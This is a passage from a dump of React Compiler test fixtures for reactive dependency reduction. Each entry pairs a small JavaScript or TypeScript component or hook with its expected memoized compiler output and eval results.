    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.expect.md",
    "content": "\n## Input\n\n```javascript\n// When a conditional dependency `props.a` is a subpath of an unconditional\n// dependency `props.a.b`, we can access `props.a` while preserving program\n// semantics (with respect to nullthrows).\n// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`\n\nimport {identity} from 'shared-runtime';\n\n// ordering of accesses should not matter\nfunction useConditionalSubpath1(props, cond) {\n  const x = {};\n  x.b = props.a.b;\n  if (identity(cond)) {\n    x.a = props.a;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSubpath1,\n  params: [{a: {b: 3}}, false],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // When a conditional dependency `props.a` is a subpath of an unconditional\n// dependency `props.a.b`, we can access `props.a` while preserving program\n// semantics (with respect to nullthrows).\n// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`\n\nimport { identity } from \"shared-runtime\";\n\n// ordering of accesses should not matter\nfunction useConditionalSubpath1(props, cond) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== cond || $[1] !== props.a) {\n    x = {};\n    x.b = props.a.b;\n    if (identity(cond)) {\n      x.a = props.a;\n    }\n    $[0] = cond;\n    $[1] = props.a;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSubpath1,\n  params: [{ a: { b: 3 } }, false],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order1.js",
    "content": "// When a conditional dependency `props.a` is a subpath of an unconditional\n// dependency `props.a.b`, we can access `props.a` while preserving program\n// semantics (with respect to nullthrows).\n// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`\n\nimport {identity} from 'shared-runtime';\n\n// ordering of accesses should not matter\nfunction useConditionalSubpath1(props, cond) {\n  const x = {};\n  x.b = props.a.b;\n  if (identity(cond)) {\n    x.a = props.a;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSubpath1,\n  params: [{a: {b: 3}}, false],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.expect.md",
    "content": "\n## Input\n\n```javascript\n// When a conditional dependency `props.a` is a subpath of an unconditional\n// dependency `props.a.b`, we can access `props.a` while preserving program\n// semantics (with respect to nullthrows).\n// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`\n\nimport {identity} from 'shared-runtime';\n\n// ordering of accesses should not matter\nfunction useConditionalSubpath2(props, other) {\n  const x = {};\n  if (identity(other)) {\n    x.a = props.a;\n  }\n  x.b = props.a.b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSubpath2,\n  params: [{a: {b: 3}}, false],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // When a conditional dependency `props.a` is a subpath of an unconditional\n// dependency `props.a.b`, we can access `props.a` while preserving program\n// semantics (with respect to nullthrows).\n// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`\n\nimport { identity } from \"shared-runtime\";\n\n// ordering of accesses should not matter\nfunction useConditionalSubpath2(props, other) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== other || $[1] !== props.a) {\n    x = {};\n    if (identity(other)) {\n      x.a = props.a;\n    }\n\n    x.b = props.a.b;\n    $[0] = other;\n    $[1] = props.a;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSubpath2,\n  params: [{ a: { b: 3 } }, false],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/subpath-order2.js",
    "content": "// When a conditional dependency `props.a` is a subpath of an unconditional\n// dependency `props.a.b`, we can access `props.a` while preserving program\n// semantics (with respect to nullthrows).\n// deps: {`props.a`, `props.a.b`} can further reduce to just `props.a`\n\nimport {identity} from 'shared-runtime';\n\n// ordering of accesses should not matter\nfunction useConditionalSubpath2(props, other) {\n  const x = {};\n  if (identity(other)) {\n    x.a = props.a;\n  }\n  x.b = props.a.b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSubpath2,\n  params: [{a: {b: 3}}, false],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.expect.md",
    "content": "\n## Input\n\n```javascript\n// When an unconditional dependency `props.a` is the subpath of a conditional\n// dependency `props.a.b`, we can safely overestimate and only track `props.a`\n// as a dependency\n\nimport {identity} from 'shared-runtime';\n\n// ordering of accesses should not matter\nfunction useConditionalSuperpath1({props, cond}) {\n  const x = {};\n  x.a = props.a;\n  if (identity(cond)) {\n    x.b = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSuperpath1,\n  params: [{props: {a: null}, cond: false}],\n  sequentialRenders: [\n    {props: {a: null}, cond: false},\n    {props: {a: {}}, cond: true},\n    {props: {a: {b: 3}}, cond: true},\n    {props: {}, cond: false},\n    // test that we preserve nullthrows\n    {props: {a: {b: undefined}}, cond: true},\n    {props: {a: undefined}, cond: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // When an unconditional dependency `props.a` is the subpath of a conditional\n// dependency `props.a.b`, we can safely overestimate and only track `props.a`\n// as a dependency\n\nimport { identity } from \"shared-runtime\";\n\n// ordering of accesses should not matter\nfunction useConditionalSuperpath1(t0) {\n  const $ = _c(3);\n  const { props, cond } = t0;\n  let x;\n  if ($[0] !== cond || $[1] !== props.a) {\n    x = {};\n    x.a = props.a;\n    if (identity(cond)) {\n      x.b = props.a.b;\n    }\n    $[0] = cond;\n    $[1] = props.a;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSuperpath1,\n  params: [{ props: { a: null }, cond: false }],\n  sequentialRenders: [\n    { props: { a: null }, cond: false },\n    { props: { a: {} }, cond: true },\n    { props: { a: { b: 3 } }, cond: true },\n    { props: {}, cond: false },\n    // test that we preserve nullthrows\n    { props: { a: { b: undefined } }, cond: true },\n    { props: { a: undefined }, cond: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":null}\n{\"a\":{}}\n{\"a\":{\"b\":3},\"b\":3}\n{}\n{\"a\":{}}\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order1.js",
    "content": "// When an unconditional dependency `props.a` is the subpath of a conditional\n// dependency `props.a.b`, we can safely overestimate and only track `props.a`\n// as a dependency\n\nimport {identity} from 'shared-runtime';\n\n// ordering of accesses should not matter\nfunction useConditionalSuperpath1({props, cond}) {\n  const x = {};\n  x.a = props.a;\n  if (identity(cond)) {\n    x.b = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSuperpath1,\n  params: [{props: {a: null}, cond: false}],\n  sequentialRenders: [\n    {props: {a: null}, cond: false},\n    {props: {a: {}}, cond: true},\n    {props: {a: {b: 3}}, cond: true},\n    {props: {}, cond: false},\n    // test that we preserve nullthrows\n    {props: {a: {b: undefined}}, cond: true},\n    {props: {a: undefined}, cond: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.expect.md",
    "content": "\n## Input\n\n```javascript\n// When an unconditional dependency `props.a` is the subpath of a conditional\n// dependency `props.a.b`, we can safely overestimate and only track `props.a`\n// as a dependency\n\nimport {identity} from 'shared-runtime';\n\n// ordering of accesses should not matter\nfunction useConditionalSuperpath2({props, cond}) {\n  const x = {};\n  if (identity(cond)) {\n    x.b = props.a.b;\n  }\n  x.a = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSuperpath2,\n  params: [{props: {a: null}, cond: false}],\n  sequentialRenders: [\n    {props: {a: null}, cond: false},\n    {props: {a: {}}, cond: true},\n    {props: {a: {b: 3}}, cond: true},\n    {props: {}, cond: false},\n    // test that we preserve nullthrows\n    {props: {a: {b: undefined}}, cond: true},\n    {props: {a: undefined}, cond: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // When an unconditional dependency `props.a` is the subpath of a conditional\n// dependency `props.a.b`, we can safely overestimate and only track `props.a`\n// as a dependency\n\nimport { identity } from \"shared-runtime\";\n\n// ordering of accesses should not matter\nfunction useConditionalSuperpath2(t0) {\n  const $ = _c(3);\n  const { props, cond } = t0;\n  let x;\n  if ($[0] !== cond || $[1] !== props.a) {\n    x = {};\n    if (identity(cond)) {\n      x.b = props.a.b;\n    }\n\n    x.a = props.a;\n    $[0] = cond;\n    $[1] = props.a;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSuperpath2,\n  params: [{ props: { a: null }, cond: false }],\n  sequentialRenders: [\n    { props: { a: null }, cond: false },\n    { props: { a: {} }, cond: true },\n    { props: { a: { b: 3 } }, cond: true },\n    { props: {}, cond: false },\n    // test that we preserve nullthrows\n    { props: { a: { b: undefined } }, cond: true },\n    { props: { a: undefined }, cond: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":null}\n{\"a\":{}}\n{\"b\":3,\"a\":{\"b\":3}}\n{}\n{\"a\":{}}\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/superpath-order2.js",
    "content": "// When an unconditional dependency `props.a` is the subpath of a conditional\n// dependency `props.a.b`, we can safely overestimate and only track `props.a`\n// as a dependency\n\nimport {identity} from 'shared-runtime';\n\n// ordering of accesses should not matter\nfunction useConditionalSuperpath2({props, cond}) {\n  const x = {};\n  if (identity(cond)) {\n    x.b = props.a.b;\n  }\n  x.a = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useConditionalSuperpath2,\n  params: [{props: {a: null}, cond: false}],\n  sequentialRenders: [\n    {props: {a: null}, cond: false},\n    {props: {a: {}}, cond: true},\n    {props: {a: {b: 3}}, cond: true},\n    {props: {}, cond: false},\n    // test that we preserve nullthrows\n    {props: {a: {b: undefined}}, cond: true},\n    {props: {a: undefined}, cond: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  return <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [\n    {a: null},\n    {a: {b: null}},\n    {a: {b: {c: {d: null}}}},\n    {a: {b: {c: {d: {e: 4}}}}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let t1;\n  if ($[0] !== a.b?.c.d?.e) {\n    t1 = <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;\n    $[0] = a.b?.c.d?.e;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [\n    { a: null },\n    { a: { b: null } },\n    { a: { b: { c: { d: null } } } },\n    { a: { b: { c: { d: { e: 4 } } } } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"fn\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":4},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.tsx",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  return <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [\n    {a: null},\n    {a: {b: null}},\n    {a: {b: {c: {d: null}}}},\n    {a: {b: {c: {d: {e: 4}}}}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-merge-ssa-phi-access-nodes.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  identity,\n  makeObject_Primitives,\n  setPropertyByKey,\n} from 'shared-runtime';\n\n/**\n * A bit of an edge case, but we could further optimize here by merging\n * re-orderability of nodes across phis.\n */\nfunction useFoo(cond) {\n  let x;\n  if (cond) {\n    /** start of scope for x_@0 */\n    x = {};\n    setPropertyByKey(x, 'a', {b: 2});\n    /** end of scope for x_@0 */\n    Math.max(x.a.b, 0);\n  } else {\n    /** start of scope for x_@1 */\n    x = makeObject_Primitives();\n    setPropertyByKey(x, 'a', {b: 3});\n    /** end of scope for x_@1 */\n    Math.max(x.a.b, 0);\n  }\n  /**\n   * At this point, we have a phi node.\n   * x_@2 = phi(x_@0, x_@1)\n   *\n   * We can assume that both x_@0 and x_@1 both have non-null `x.a` properties,\n   * so we can infer that x_@2 does as well.\n   */\n\n  // Here, y should take a dependency on `x.a.b`\n  const y = [];\n  if (identity(cond)) {\n    y.push(x.a.b);\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport {\n  identity,\n  makeObject_Primitives,\n  setPropertyByKey,\n} from \"shared-runtime\";\n\n/**\n * A bit of an edge case, but we could further optimize here by merging\n * re-orderability of nodes across phis.\n */\nfunction useFoo(cond) {\n  const $ = _c(5);\n  let x;\n  if (cond) {\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      x = {};\n      setPropertyByKey(x, \"a\", { b: 2 });\n      $[0] = x;\n    } else {\n      x = $[0];\n    }\n\n    Math.max(x.a.b, 0);\n  } else {\n    if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      x = makeObject_Primitives();\n      setPropertyByKey(x, \"a\", { b: 3 });\n      $[1] = x;\n    } else {\n      x = $[1];\n    }\n\n    Math.max(x.a.b, 0);\n  }\n  let y;\n  if ($[2] !== cond || $[3] !== x) {\n    y = [];\n    if (identity(cond)) {\n      y.push(x.a.b);\n    }\n    $[2] = cond;\n    $[3] = x;\n    $[4] = y;\n  } else {\n    y = $[4];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-merge-ssa-phi-access-nodes.ts",
    "content": "import {\n  identity,\n  makeObject_Primitives,\n  setPropertyByKey,\n} from 'shared-runtime';\n\n/**\n * A bit of an edge case, but we could further optimize here by merging\n * re-orderability of nodes across phis.\n */\nfunction useFoo(cond) {\n  let x;\n  if (cond) {\n    /** start of scope for x_@0 */\n    x = {};\n    setPropertyByKey(x, 'a', {b: 2});\n    /** end of scope for x_@0 */\n    Math.max(x.a.b, 0);\n  } else {\n    /** start of scope for x_@1 */\n    x = makeObject_Primitives();\n    setPropertyByKey(x, 'a', {b: 3});\n    /** end of scope for x_@1 */\n    Math.max(x.a.b, 0);\n  }\n  /**\n   * At this point, we have a phi node.\n   * x_@2 = phi(x_@0, x_@1)\n   *\n   * We can assume that both x_@0 and x_@1 both have non-null `x.a` properties,\n   * so we can infer that x_@2 does as well.\n   */\n\n  // Here, y should take a dependency on `x.a.b`\n  const y = [];\n  if (identity(cond)) {\n    y.push(x.a.b);\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-access-in-mutable-range.expect.md",
    "content": "\n## Input\n\n```javascript\n// x.a.b was accessed unconditionally within the mutable range of x.\n// As a result, we cannot infer anything about whether `x` or `x.a`\n// may be null. This means that it's not safe to hoist reads from x\n// (e.g. take `x.a` or `x.a.b` as a dependency).\n\nimport {identity, makeObject_Primitives, setProperty} from 'shared-runtime';\n\nfunction Component({cond, other}) {\n  const x = makeObject_Primitives();\n  setProperty(x, {b: 3, other}, 'a');\n  identity(x.a.b);\n  if (!cond) {\n    x.a = null;\n  }\n\n  const y = [identity(cond) && x.a.b];\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false}],\n  sequentialRenders: [\n    {cond: false},\n    {cond: false},\n    {cond: false, other: 8},\n    {cond: true},\n    {cond: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // x.a.b was accessed unconditionally within the mutable range of x.\n// As a result, we cannot infer anything about whether `x` or `x.a`\n// may be null. This means that it's not safe to hoist reads from x\n// (e.g. take `x.a` or `x.a.b` as a dependency).\n\nimport { identity, makeObject_Primitives, setProperty } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(8);\n  const { cond, other } = t0;\n  let x;\n  if ($[0] !== cond || $[1] !== other) {\n    x = makeObject_Primitives();\n    setProperty(x, { b: 3, other }, \"a\");\n    identity(x.a.b);\n    if (!cond) {\n      x.a = null;\n    }\n    $[0] = cond;\n    $[1] = other;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  let t1;\n  if ($[3] !== cond || $[4] !== x) {\n    t1 = identity(cond) && x.a.b;\n    $[3] = cond;\n    $[4] = x;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  let t2;\n  if ($[6] !== t1) {\n    t2 = [t1];\n    $[6] = t1;\n    $[7] = t2;\n  } else {\n    t2 = $[7];\n  }\n  const y = t2;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false }],\n  sequentialRenders: [\n    { cond: false },\n    { cond: false },\n    { cond: false, other: 8 },\n    { cond: true },\n    { cond: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [false]\n[false]\n[false]\n[null]\n[null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-access-in-mutable-range.js",
    "content": "// x.a.b was accessed unconditionally within the mutable range of x.\n// As a result, we cannot infer anything about whether `x` or `x.a`\n// may be null. This means that it's not safe to hoist reads from x\n// (e.g. take `x.a` or `x.a.b` as a dependency).\n\nimport {identity, makeObject_Primitives, setProperty} from 'shared-runtime';\n\nfunction Component({cond, other}) {\n  const x = makeObject_Primitives();\n  setProperty(x, {b: 3, other}, 'a');\n  identity(x.a.b);\n  if (!cond) {\n    x.a = null;\n  }\n\n  const y = [identity(cond) && x.a.b];\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false}],\n  sequentialRenders: [\n    {cond: false},\n    {cond: false},\n    {cond: false, other: 8},\n    {cond: true},\n    {cond: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.expect.md",
    "content": "\n## Input\n\n```javascript\n// Test that we can track non-overlapping dependencies separately.\n// (not needed for correctness but for dependency granularity)\nfunction TestNonOverlappingDescendantTracked(props) {\n  let x = {};\n  x.a = props.a.x.y;\n  x.b = props.b;\n  x.c = props.a.c.x.y.z;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestNonOverlappingDescendantTracked,\n  params: [{a: {x: {}, c: {x: {y: {z: 3}}}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Test that we can track non-overlapping dependencies separately.\n// (not needed for correctness but for dependency granularity)\nfunction TestNonOverlappingDescendantTracked(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.a.c.x.y.z || $[1] !== props.a.x.y || $[2] !== props.b) {\n    x = {};\n    x.a = props.a.x.y;\n    x.b = props.b;\n    x.c = props.a.c.x.y.z;\n    $[0] = props.a.c.x.y.z;\n    $[1] = props.a.x.y;\n    $[2] = props.b;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestNonOverlappingDescendantTracked,\n  params: [{ a: { x: {}, c: { x: { y: { z: 3 } } } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"c\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.js",
    "content": "// Test that we can track non-overlapping dependencies separately.\n// (not needed for correctness but for dependency granularity)\nfunction TestNonOverlappingDescendantTracked(props) {\n  let x = {};\n  x.a = props.a.x.y;\n  x.b = props.b;\n  x.c = props.a.c.x.y.z;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestNonOverlappingDescendantTracked,\n  params: [{a: {x: {}, c: {x: {y: {z: 3}}}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.expect.md",
    "content": "\n## Input\n\n```javascript\n// Test that we can track non-overlapping dependencies separately.\n// (not needed for correctness but for dependency granularity)\nfunction TestNonOverlappingTracked(props) {\n  let x = {};\n  x.b = props.a.b;\n  x.c = props.a.c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestNonOverlappingTracked,\n  params: [{a: {b: 2, c: 3}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Test that we can track non-overlapping dependencies separately.\n// (not needed for correctness but for dependency granularity)\nfunction TestNonOverlappingTracked(props) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== props.a.b || $[1] !== props.a.c) {\n    x = {};\n    x.b = props.a.b;\n    x.c = props.a.c;\n    $[0] = props.a.b;\n    $[1] = props.a.c;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestNonOverlappingTracked,\n  params: [{ a: { b: 2, c: 3 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":2,\"c\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.js",
    "content": "// Test that we can track non-overlapping dependencies separately.\n// (not needed for correctness but for dependency granularity)\nfunction TestNonOverlappingTracked(props) {\n  let x = {};\n  x.b = props.a.b;\n  x.c = props.a.c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestNonOverlappingTracked,\n  params: [{a: {b: 2, c: 3}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.expect.md",
    "content": "\n## Input\n\n```javascript\n// Test that we correctly track a subpath if the subpath itself is accessed as\n// a dependency\nfunction TestOverlappingDescendantTracked(props) {\n  let x = {};\n  x.b = props.a.b.c;\n  x.c = props.a.b.c.x.y;\n  x.a = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestOverlappingDescendantTracked,\n  params: [{a: {b: {c: {x: {y: 5}}}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Test that we correctly track a subpath if the subpath itself is accessed as\n// a dependency\nfunction TestOverlappingDescendantTracked(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a) {\n    x = {};\n    x.b = props.a.b.c;\n    x.c = props.a.b.c.x.y;\n    x.a = props.a;\n    $[0] = props.a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestOverlappingDescendantTracked,\n  params: [{ a: { b: { c: { x: { y: 5 } } } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":{\"x\":{\"y\":5}},\"c\":5,\"a\":{\"b\":{\"c\":\"[[ cyclic ref *1 ]]\"}}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.js",
    "content": "// Test that we correctly track a subpath if the subpath itself is accessed as\n// a dependency\nfunction TestOverlappingDescendantTracked(props) {\n  let x = {};\n  x.b = props.a.b.c;\n  x.c = props.a.b.c.x.y;\n  x.a = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestOverlappingDescendantTracked,\n  params: [{a: {b: {c: {x: {y: 5}}}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.expect.md",
    "content": "\n## Input\n\n```javascript\n// Test that we correctly track a subpath if the subpath itself is accessed as\n// a dependency\nfunction TestOverlappingTracked(props) {\n  let x = {};\n  x.b = props.a.b;\n  x.c = props.a.c;\n  x.a = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestOverlappingTracked,\n  params: [{a: {c: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Test that we correctly track a subpath if the subpath itself is accessed as\n// a dependency\nfunction TestOverlappingTracked(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a) {\n    x = {};\n    x.b = props.a.b;\n    x.c = props.a.c;\n    x.a = props.a;\n    $[0] = props.a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestOverlappingTracked,\n  params: [{ a: { c: 2 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"c\":2,\"a\":{\"c\":2}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.js",
    "content": "// Test that we correctly track a subpath if the subpath itself is accessed as\n// a dependency\nfunction TestOverlappingTracked(props) {\n  let x = {};\n  x.b = props.a.b;\n  x.c = props.a.c;\n  x.a = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestOverlappingTracked,\n  params: [{a: {c: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.expect.md",
    "content": "\n## Input\n\n```javascript\n// Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder1(props) {\n  let x = {};\n  x.b = props.a.b;\n  x.a = props.a;\n  x.c = props.a.b.c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder1,\n  params: [{a: {b: {c: 2}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder1(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a) {\n    x = {};\n    x.b = props.a.b;\n    x.a = props.a;\n    x.c = props.a.b.c;\n    $[0] = props.a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder1,\n  params: [{ a: { b: { c: 2 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":{\"c\":2},\"a\":{\"b\":\"[[ cyclic ref *1 ]]\"},\"c\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.js",
